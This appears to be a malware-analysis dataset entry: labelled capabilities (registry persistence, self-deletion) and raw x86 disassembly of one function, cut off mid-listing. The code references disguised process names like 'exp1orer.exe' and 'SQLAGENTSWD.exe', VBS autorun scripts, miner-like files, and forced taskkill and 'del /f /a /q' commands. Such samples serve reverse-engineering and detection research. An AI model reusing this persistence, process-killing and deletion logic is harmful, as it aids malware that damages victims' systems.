Function at 0x402fab
Capabilities:
Persist via run registry key
Self delete

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
mov dword [ebp - 4], 0
push 0x28
call fcn.00465366
add esp, 4
mov dword [ebp - 8], eax
mov ebx, eax
mov edi, eax
xor eax, eax
mov ecx, 0xa
rep stosd dword es:[edi], eax
add ebx, 0x24
push ebx
push pe_nt_image_headers32
call fcn.00465366
add esp, 4
pop ebx
mov dword [ebx], eax
mov edi, eax
mov esi, 0x4fd46e
lodsd eax, dword [esi]
stosd dword es:[edi], eax
lodsd eax, dword [esi]
stosd dword es:[edi], eax
xor eax, eax
mov ecx, 0x40
rep stosd dword es:[edi], eax
mov dword [ebp - 0xc], 0
push 0x2c
call fcn.00465366
add esp, 4
mov dword [ebp - 0x10], eax
mov ebx, eax
mov edi, eax
xor eax, eax
mov ecx, 0xb
rep stosd dword es:[edi], eax
push 0x14
call fcn.00465366
add esp, 4
mov dword [ebp - 0x14], eax
mov ebx, eax
mov edi, eax
xor eax, eax
mov ecx, 5
rep stosd dword es:[edi], eax
mov dword [ebx], 0x4fd476
mov ebx, 6
call fcn.00402e3f
push reloc.WS2_32.dll_getsockname
push 0
push 0x41e52d
push 3
mov eax, 3
mov ebx, 0x4c7230
call fcn.0046537e
add esp, 0x28
mov ebx, 6
call fcn.00402e3f
push reloc.WS2_32.dll_getsockname
push 0
push 0x41e8a4
push 3
mov eax, 3
mov ebx, 0x4c7230
call fcn.0046537e
add esp, 0x28
mov dword [ebp - 0x18], esp
push str.das_SQLAGENTSWE.exe
push 0
push 0x1f0002
mov eax, 0xc
call fcn.00465360
cmp dword [ebp - 0x18], esp
je 0x4030cf
push 6
call fcn.0046535a
add esp, 4
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0
je 0x4030e6
push 0
call fcn.00465384
add esp, 4
mov dword [ebp - 0x18], esp
push str.das_SQLAGENTSWE.exe
push 0
push 0
push 0
mov eax, 0xd
call fcn.00465360
cmp dword [ebp - 0x18], esp
je 0x403119
push 6
call fcn.0046535a
add esp, 4
mov ebx, 6
call fcn.00402e3f
push reloc.WS2_32.dll_getsockname
push 0
push 0x41e8a4
push 3
mov eax, 3
mov ebx, 0x4c7230
call fcn.0046537e
add esp, 0x28
jmp 0x403158
mov dword [ebp - 0x18], esp
push 0
push 2
mov eax, 0xe
call fcn.00465360
cmp dword [ebp - 0x18], esp
je 0x403181
push 6
call fcn.0046535a
add esp, 4
mov dword [ebp - 4], eax
mov ebx, dword [ebp - 8]
mov dword [ebp - 0x18], ebx
mov ebx, dword [ebp - 0x18]
mov dword [ebx], 0x128
mov dword [ebp - 0x18], esp
mov eax, dword [ebp - 8]
push eax
push 0x124
call fcn.00465366
add esp, 4
mov edi, eax
pop ebx
push eax
mov dword [ebp - 0x20], ebx
mov dword [ebp - 0x1c], eax
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
push ebx
mov ebx, dword [ebx]
add ebx, 8
mov ecx, 0x100
mov esi, ebx
rep movsb byte es:[edi], byte [esi]
pop ebx
add ebx, 4
push dword [ebp - 4]
mov eax, 0xf
call fcn.00465360
cmp dword [ebp - 0x18], esp
je 0x403240
push 6
call fcn.0046535a
add esp, 4
push eax
mov ebx, dword [ebp - 0x1c]
push ebx
mov edi, dword [ebp - 0x20]
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
push ebx
push edi
push 1
mov eax, 2
call fcn.00465354
add esp, 4
pop edi
pop ebx
push ebx
push edi
mov edi, dword [edi]
mov ecx, dword [edi]
add edi, 4
test ecx, ecx
je 0x4032d1
mov eax, dword [edi]
add edi, 4
dec ecx
je 0x4032cf
imul eax, dword [edi]
jmp 0x4032c4
mov ecx, eax
cmp ecx, 0x100
jle 0x4032de
mov ecx, 0x100
mov esi, ebx
rep movsb byte es:[edi], byte [esi]
pop edi
pop ebx
add edi, 4
add ebx, 0x100
call fcn.00465372
add esp, 4
pop eax
mov dword [ebp - 0xc], eax
mov ebx, 6
call fcn.00402e3f
push reloc.WS2_32.dll_getsockname
push 0
push 0x41e8a4
push 3
mov eax, 3
mov ebx, 0x4c7230
call fcn.0046537e
add esp, 0x28
mov ebx, 6
call fcn.00402e3f
push reloc.WS2_32.dll_getsockname
push 0
push 0x41e52d
push 3
mov eax, 3
mov ebx, 0x4c7230
call fcn.0046537e
add esp, 0x28
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
mov dword [ebp - 0x1c], 0
push 0
push dword [ebp - 0x1c]
mov dword [ebp - 0x20], 0
push 0
lea eax, [ebp - 0x20]
push eax
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
mov eax, 0x4efecb
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
call fcn.00410bbf
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x4033a7
push ebx
call fcn.00465372
add esp, 4
mov ebx, dword [ebp - 0x20]
test ebx, ebx
je 0x4033b7
push ebx
call fcn.00465372
add esp, 4
mov ebx, 6
call fcn.00402e3f
push reloc.WS2_32.dll_getsockname
push 0
push 0x41e8a4
push 3
mov eax, 3
mov ebx, 0x4c7230
call fcn.0046537e
add esp, 0x28
mov ebx, 6
call fcn.00402e3f
push reloc.WS2_32.dll_getsockname
push 0
push 0x41e52d
push 3
mov eax, 3
mov ebx, 0x4c7230
call fcn.0046537e
add esp, 0x28
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4c7490
call fcn.0046537e
add esp, 0x10
mov dword [ebp - 0x18], eax
push 0x4efecb
push dword [ebp - 0x18]
mov ecx, 2
call fcn.00402eb2
add esp, 8
mov dword [ebp - 0x1c], eax
mov ebx, dword [ebp - 0x18]
test ebx, ebx
je 0x40345f
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 0x20], 0
push 0
push dword [ebp - 0x20]
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
mov dword [ebp - 0x28], 0
push 0
lea eax, [ebp - 0x28]
push eax
mov dword [ebp - 0x2c], 0
push 0
push dword [ebp - 0x2c]
push 1
lea eax, [ebp - 0x1c]
push eax
call fcn.00410bbf
mov ebx, dword [ebp - 0x1c]
test ebx, ebx
je 0x4034ab
push ebx
call fcn.00465372
add esp, 4
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x4034bb
push ebx
call fcn.00465372
add esp, 4
mov ebx, 6
call fcn.00402e3f
push reloc.WS2_32.dll_getsockname
push 0
push 0x41e8a4
push 3
mov eax, 3
mov ebx, 0x4c7230
call fcn.0046537e
add esp, 0x28
mov ebx, 6
call fcn.00402e3f
push reloc.WS2_32.dll_getsockname
push 0
push 0x41e52d
push 3
mov eax, 3
mov ebx, 0x4c7230
call fcn.0046537e
add esp, 0x28
push 0
mov ebx, 0x465970
call fcn.0046536c
add esp, 4
mov dword [ebp - 0x18], eax
push 0x4efecb
push dword [ebp - 0x18]
mov ecx, 2
call fcn.00402eb2
add esp, 8
mov dword [ebp - 0x1c], eax
mov ebx, dword [ebp - 0x18]
test ebx, ebx
je 0x403552
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 0x20], 0
push 0
push dword [ebp - 0x20]
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
mov dword [ebp - 0x28], 0
push 0
lea eax, [ebp - 0x28]
push eax
mov dword [ebp - 0x2c], 0
push 0
push dword [ebp - 0x2c]
push 1
lea eax, [ebp - 0x1c]
push eax
call fcn.00410bbf
mov ebx, dword [ebp - 0x1c]
test ebx, ebx
je 0x40359e
push ebx
call fcn.00465372
add esp, 4
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x4035ae
push ebx
call fcn.00465372
add esp, 4
mov ebx, 6
call fcn.00402e3f
push reloc.WS2_32.dll_getsockname
push 0
push 0x41e8a4
push 3
mov eax, 3
mov ebx, 0x4c7230
call fcn.0046537e
add esp, 0x28
mov ebx, 6
call fcn.00402e3f
push reloc.WS2_32.dll_getsockname
push 0
push 0x41e52d
push 3
mov eax, 3
mov ebx, 0x4c7230
call fcn.0046537e
add esp, 0x28
push 0
mov ebx, 0x465970
call fcn.0046536c
add esp, 4
mov dword [ebp - 0x18], eax
push str.AutoRunApp.vbs
push dword [ebp - 0x18]
mov ecx, 2
call fcn.00402eb2
add esp, 8
mov dword [ebp - 0x1c], eax
mov ebx, dword [ebp - 0x18]
test ebx, ebx
je 0x403645
push ebx
call fcn.00465372
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x1c]
test eax, eax
jne 0x403658
mov eax, 0x4efeeb
push eax
push 1
mov ebx, 0x467490
call fcn.0046536c
add esp, 0x10
mov ebx, dword [ebp - 0x1c]
test ebx, ebx
je 0x40367b
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0x64
call fcn.00411bc3
push 0
mov ebx, 0x465970
call fcn.0046536c
add esp, 4
mov dword [ebp - 0x18], eax
push 0x4efeec
push dword [ebp - 0x18]
mov ecx, 2
call fcn.00402eb2
add esp, 8
mov dword [ebp - 0x1c], eax
mov ebx, dword [ebp - 0x18]
test ebx, ebx
je 0x4036d0
push ebx
call fcn.00465372
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x1c]
test eax, eax
jne 0x4036e3
mov eax, 0x4efeeb
push eax
push 1
mov ebx, 0x467490
call fcn.0046536c
add esp, 0x10
mov ebx, dword [ebp - 0x1c]
test ebx, ebx
je 0x403706
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.00411bc3
mov ebx, 6
call fcn.00402e3f
push reloc.WS2_32.dll_getsockname
push 0
push 0x41e8a4
push 3
mov eax, 3
mov ebx, 0x4c7230
call fcn.0046537e
add esp, 0x28
mov ebx, 6
call fcn.00402e3f
push reloc.WS2_32.dll_getsockname
push 0
push 0x41e52d
push 3
mov eax, 3
mov ebx, 0x4c7230
call fcn.0046537e
add esp, 0x28
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4c7490
call fcn.0046537e
add esp, 0x10
mov dword [ebp - 0x18], eax
push str.config.json
push dword [ebp - 0x18]
mov ecx, 2
call fcn.00402eb2
add esp, 8
mov dword [ebp - 0x1c], eax
mov ebx, dword [ebp - 0x18]
test ebx, ebx
je 0x4037c6
push ebx
call fcn.00465372
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x1c]
test eax, eax
jne 0x4037d9
mov eax, 0x4efeeb
push eax
push 1
mov ebx, 0x467490
call fcn.0046536c
add esp, 0x10
mov ebx, dword [ebp - 0x1c]
test ebx, ebx
je 0x4037fc
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.00411bc3
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4c7490
call fcn.0046537e
add esp, 0x10
mov dword [ebp - 0x18], eax
push str.CPU_
push dword [ebp - 0x18]
mov ecx, 2
call fcn.00402eb2
add esp, 8
mov dword [ebp - 0x1c], eax
mov ebx, dword [ebp - 0x18]
test ebx, ebx
je 0x403862
push ebx
call fcn.00465372
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x1c]
test eax, eax
jne 0x403875
mov eax, 0x4efeeb
push eax
push 1
mov ebx, 0x467490
call fcn.0046536c
add esp, 0x10
mov ebx, dword [ebp - 0x1c]
test ebx, ebx
je 0x403898
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.00411bc3
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4c7490
call fcn.0046537e
add esp, 0x10
mov dword [ebp - 0x18], eax
push 0x4eff10
push dword [ebp - 0x18]
mov ecx, 2
call fcn.00402eb2
add esp, 8
mov dword [ebp - 0x1c], eax
mov ebx, dword [ebp - 0x18]
test ebx, ebx
je 0x4038fe
push ebx
call fcn.00465372
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x1c]
test eax, eax
jne 0x403911
mov eax, 0x4efeeb
push eax
push 1
mov ebx, 0x467490
call fcn.0046536c
add esp, 0x10
mov ebx, dword [ebp - 0x1c]
test ebx, ebx
je 0x403934
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0x64
call fcn.00411bc3
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4c7490
call fcn.0046537e
add esp, 0x10
mov dword [ebp - 0x18], eax
push 0x4eff20
push dword [ebp - 0x18]
mov ecx, 2
call fcn.00402eb2
add esp, 8
mov dword [ebp - 0x1c], eax
mov ebx, dword [ebp - 0x18]
test ebx, ebx
je 0x40399a
push ebx
call fcn.00465372
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x1c]
test eax, eax
jne 0x4039ad
mov eax, 0x4efeeb
push eax
push 1
mov ebx, 0x467490
call fcn.0046536c
add esp, 0x10
mov ebx, dword [ebp - 0x1c]
test ebx, ebx
je 0x4039d0
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.00411bc3
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4c7490
call fcn.0046537e
add esp, 0x10
mov dword [ebp - 0x18], eax
push str.CPU_c.txt
push dword [ebp - 0x18]
mov ecx, 2
call fcn.00402eb2
add esp, 8
mov dword [ebp - 0x1c], eax
mov ebx, dword [ebp - 0x18]
test ebx, ebx
je 0x403a36
push ebx
call fcn.00465372
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x1c]
test eax, eax
jne 0x403a49
mov eax, 0x4efeeb
push eax
push 1
mov ebx, 0x467490
call fcn.0046536c
add esp, 0x10
mov ebx, dword [ebp - 0x1c]
test ebx, ebx
je 0x403a6c
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.00411bc3
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4c7490
call fcn.0046537e
add esp, 0x10
mov dword [ebp - 0x18], eax
push str.NVDIA_n.txt
push dword [ebp - 0x18]
mov ecx, 2
call fcn.00402eb2
add esp, 8
mov dword [ebp - 0x1c], eax
mov ebx, dword [ebp - 0x18]
test ebx, ebx
je 0x403ad2
push ebx
call fcn.00465372
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x1c]
test eax, eax
jne 0x403ae5
mov eax, 0x4efeeb
push eax
push 1
mov ebx, 0x467490
call fcn.0046536c
add esp, 0x10
mov ebx, dword [ebp - 0x1c]
test ebx, ebx
je 0x403b08
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.00411bc3
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4c7490
call fcn.0046537e
add esp, 0x10
mov dword [ebp - 0x18], eax
push 0x4eff46
push dword [ebp - 0x18]
mov ecx, 2
call fcn.00402eb2
add esp, 8
mov dword [ebp - 0x1c], eax
mov ebx, dword [ebp - 0x18]
test ebx, ebx
je 0x403b6e
push ebx
call fcn.00465372
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x1c]
test eax, eax
jne 0x403b81
mov eax, 0x4efeeb
push eax
push 1
mov ebx, 0x467490
call fcn.0046536c
add esp, 0x10
mov ebx, dword [ebp - 0x1c]
test ebx, ebx
je 0x403ba4
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0x64
call fcn.00411bc3
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4c7490
call fcn.0046537e
add esp, 0x10
mov dword [ebp - 0x18], eax
push str.AutoRunApp.vbs
push dword [ebp - 0x18]
mov ecx, 2
call fcn.00402eb2
add esp, 8
mov dword [ebp - 0x1c], eax
mov ebx, dword [ebp - 0x18]
test ebx, ebx
je 0x403c0a
push ebx
call fcn.00465372
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x1c]
test eax, eax
jne 0x403c1d
mov eax, 0x4efeeb
push eax
push 1
mov ebx, 0x467490
call fcn.0046536c
add esp, 0x10
mov ebx, dword [ebp - 0x1c]
test ebx, ebx
je 0x403c40
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.00411bc3
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4c7490
call fcn.0046537e
add esp, 0x10
mov dword [ebp - 0x18], eax
push 0x4efeec
push dword [ebp - 0x18]
mov ecx, 2
call fcn.00402eb2
add esp, 8
mov dword [ebp - 0x1c], eax
mov ebx, dword [ebp - 0x18]
test ebx, ebx
je 0x403ca6
push ebx
call fcn.00465372
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x1c]
test eax, eax
jne 0x403cb9
mov eax, 0x4efeeb
push eax
push 1
mov ebx, 0x467490
call fcn.0046536c
add esp, 0x10
mov ebx, dword [ebp - 0x1c]
test ebx, ebx
je 0x403cdc
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.00411bc3
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4c7490
call fcn.0046537e
add esp, 0x10
mov dword [ebp - 0x18], eax
push str.VBS.vbs
push dword [ebp - 0x18]
mov ecx, 2
call fcn.00402eb2
add esp, 8
mov dword [ebp - 0x1c], eax
mov ebx, dword [ebp - 0x18]
test ebx, ebx
je 0x403d42
push ebx
call fcn.00465372
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x1c]
test eax, eax
jne 0x403d55
mov eax, 0x4efeeb
push eax
push 1
mov ebx, 0x467490
call fcn.0046536c
add esp, 0x10
mov ebx, dword [ebp - 0x1c]
test ebx, ebx
je 0x403d78
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0x64
call fcn.00411bc3
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4c7490
call fcn.0046537e
add esp, 0x10
mov dword [ebp - 0x18], eax
push str.SQLAGENTSV.vbs
push dword [ebp - 0x18]
mov ecx, 2
call fcn.00402eb2
add esp, 8
mov dword [ebp - 0x1c], eax
mov ebx, dword [ebp - 0x18]
test ebx, ebx
je 0x403dde
push ebx
call fcn.00465372
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x1c]
test eax, eax
jne 0x403df1
mov eax, 0x4efeeb
push eax
push 1
mov ebx, 0x467490
call fcn.0046536c
add esp, 0x10
mov ebx, dword [ebp - 0x1c]
test ebx, ebx
je 0x403e14
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.00411bc3
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4c7490
call fcn.0046537e
add esp, 0x10
mov dword [ebp - 0x18], eax
push str.SQLAGENTS.vbs
push dword [ebp - 0x18]
mov ecx, 2
call fcn.00402eb2
add esp, 8
mov dword [ebp - 0x1c], eax
mov ebx, dword [ebp - 0x18]
test ebx, ebx
je 0x403e7a
push ebx
call fcn.00465372
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x1c]
test eax, eax
jne 0x403e8d
mov eax, 0x4efeeb
push eax
push 1
mov ebx, 0x467490
call fcn.0046536c
add esp, 0x10
mov ebx, dword [ebp - 0x1c]
test ebx, ebx
je 0x403eb0
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.00411bc3
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4c7490
call fcn.0046537e
add esp, 0x10
mov dword [ebp - 0x18], eax
push str.MicrosoftSQL.vbs
push dword [ebp - 0x18]
mov ecx, 2
call fcn.00402eb2
add esp, 8
mov dword [ebp - 0x1c], eax
mov ebx, dword [ebp - 0x18]
test ebx, ebx
je 0x403f16
push ebx
call fcn.00465372
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x1c]
test eax, eax
jne 0x403f29
mov eax, 0x4efeeb
push eax
push 1
mov ebx, 0x467490
call fcn.0046536c
add esp, 0x10
mov ebx, dword [ebp - 0x1c]
test ebx, ebx
je 0x403f4c
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.00411bc3
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
mov eax, str.wscript.exe
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x1c]
push eax
call fcn.00411db3
mov ebx, dword [ebp - 0x1c]
test ebx, ebx
je 0x403f93
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0x64
call fcn.00411bc3
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
mov eax, str.wscript.exe
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x1c]
push eax
call fcn.00411db3
mov ebx, dword [ebp - 0x1c]
test ebx, ebx
je 0x403fda
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.00411bc3
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_taskkill__f__im_wscript.exe
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0x64
call fcn.00411bc3
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
mov eax, str.SQLAGENTSWD.exe
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x1c]
push eax
call fcn.00411db3
mov ebx, dword [ebp - 0x1c]
test ebx, ebx
je 0x40406f
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.00411bc3
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4c7490
call fcn.0046537e
add esp, 0x10
mov dword [ebp - 0x18], eax
push str.SQLAGENTSWD.exe
push dword [ebp - 0x18]
mov ecx, 2
call fcn.00402eb2
add esp, 8
mov dword [ebp - 0x1c], eax
mov ebx, dword [ebp - 0x18]
test ebx, ebx
je 0x4040d5
push ebx
call fcn.00465372
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x1c]
test eax, eax
jne 0x4040e8
mov eax, 0x4efeeb
push eax
push 1
mov ebx, 0x467490
call fcn.0046536c
add esp, 0x10
mov ebx, dword [ebp - 0x1c]
test ebx, ebx
je 0x40410b
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.00411bc3
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_taskkill__f__im_SQLAGENTSWD.exe
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0x64
call fcn.00411bc3
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4c7490
call fcn.0046537e
add esp, 0x10
mov dword [ebp - 0x18], eax
push str.SQLAGENTSWD.exe
push dword [ebp - 0x18]
mov ecx, 2
call fcn.00402eb2
add esp, 8
mov dword [ebp - 0x1c], eax
mov ebx, dword [ebp - 0x18]
test ebx, ebx
je 0x4041bf
push ebx
call fcn.00465372
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x1c]
test eax, eax
jne 0x4041d2
mov eax, 0x4efeeb
push eax
push 1
mov ebx, 0x467490
call fcn.0046536c
add esp, 0x10
mov ebx, dword [ebp - 0x1c]
test ebx, ebx
je 0x4041f5
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.00411bc3
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
mov eax, str.exp1orer.exe
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x1c]
push eax
call fcn.00411db3
mov ebx, dword [ebp - 0x1c]
test ebx, ebx
je 0x40423c
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.00411bc3
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_taskkill__f__im_exp1orer.exe
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0x64
call fcn.00411bc3
push reloc.WS2_32.dll_connect
push 0
push str.C:ProgramDataexp1orer.exe
push 1
mov ebx, 0x467490
call fcn.0046536c
add esp, 0x10
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.00411bc3
push reloc.WS2_32.dll_connect
push 0
push str.C:Usersexp1orer.exe
push 1
mov ebx, 0x467490
call fcn.0046536c
add esp, 0x10
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.00411bc3
push reloc.WS2_32.dll_connect
push 0
push str.C:RECYCLERexp1orer.exe
push 1
mov ebx, 0x467490
call fcn.0046536c
add esp, 0x10
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.00411bc3
push reloc.WS2_32.dll_connect
push 0
push str.C:_RECYCLER_exp1orer.exe
push 1
mov ebx, 0x467490
call fcn.0046536c
add esp, 0x10
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.00411bc3
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_del__f__a__q_C:ProgramDataexp1orer.exe
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_del__f__a__q_C:Usersexp1orer.exe
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_del__f__a__q_C:RECYCLERexp1orer.exe
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_del__f__a__q_C:_RECYCLER_exp1orer.exe
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0x64
call fcn.00411bc3
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
mov eax, str.expl0rer.exe
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x1c]
push eax
call fcn.00411db3
mov ebx, dword [ebp - 0x1c]
test ebx, ebx
je 0x404499
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
